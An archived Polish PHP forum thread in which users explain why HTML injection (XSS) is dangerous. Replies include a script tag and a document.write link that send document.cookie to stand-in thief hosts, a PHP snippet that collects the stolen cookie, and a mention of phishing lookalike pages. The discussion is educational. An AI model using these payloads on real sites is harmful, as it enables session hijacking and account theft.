Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Html injection - czy może być naprawdę groźne.
Forum PHP.pl > Forum > Przedszkole
Lk_hc
Html injection - czy może być naprawdę groźne, jeśli założymy, że zachodzi tylko na danych wyświetlanych jednemu użytkownikowi, tymczasowo (np zapytanie do szukarki). Oczywiste jest że jest destruktywne na forach czy systemach komentarzy bo szpeci, ale czy może być groźne dla serwera / aplikacji?
Riklaunim
tak, można wykraść cookie usera - np. admina tongue.gif
Lk_hc
A to nie jest tak że alertnąć można tylko swoje cookie?
wookieb
A jak ktoś sobie zrobi <script src="http://adres_zlodziej.pl/scirpt?c=document.cookie"></script>
to będzie miał cookie tej osoby ktora otworzy strone.
Lk_hc
No tak - to zadziała w przypadku forów, komentarzy itd lub jeśli wstrzyknięcie kodu zachodzi przez GET i debil, któremu podeśle się odpowiednio spreparowany URL w niego kliknie. A da się poprzez HTML injection wywołać w jakiś sposób PHP jeśli jest escapowane albo zapodać plik na serwer?
Riklaunim
Ogólnie jeżeli twój kod jest podatny na XSS to jego wartość jest zerowa - niezależnie czy tobie wydaje się że to może być "niegroźne" tongue.gif
Lk_hc
No jasne, że zerowa. Dlatego nie pisze takiego kodu aaevil.gif
Crozin
Bardzo prosto jest zmylić kogoś, by kliknął w link, któremu uwać nie powinien:
Kod
wejdź na <script type="text/javascript">document.write('<a href="http://mojaStrona.pl/?c=' + escape(document.cookie) + '">http://forum.php.pl/e_t109179.html</a>');</script> i poszukaj...
Przy czym na mojaStrona.pl może dojść do zapisania danych i przekierowania na Temat: e aby ofiara nawet nie była świadoma, że coś jest nie tak. Równie dobrze można też wyświetlić identyczną stronę (jak docelowa), ale wszystkie dane wprowadzone przez użytkownika zapisywać (loginy, hasła itp.)
in5ane
Trochę nie na temat, ale jak np. odczytać takie COOKIE na stronie złodzieja? Czyli jaki skrypt przechwytujący takie dane?
Crozin
Jeżeli "zły" link wygląda tak jak ten mój post wyżej to na mojastrona.pl w pliku index.php wystarczy to odebrać poprzez
  1. <?php
  2. $cookies = $_GET['c'];
  3. ?>
Oczywiście trzeba jeszcze to odpowiednio przetworzyć, aby otrzymać z tego coś na kształt tablicy $_COOKIE z PHP.
bełdzio
tu byłem ;-)

http://www.beldzio.com/niebezpieczenstwo-htmla
piotrooo89
a jeszcze warto wspomnieć o spam botach które wykorzystują maile na stronie do wysyłania spamu jeśli adres jest nieodpowiednio zdefiniowany. tu coś o tym
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.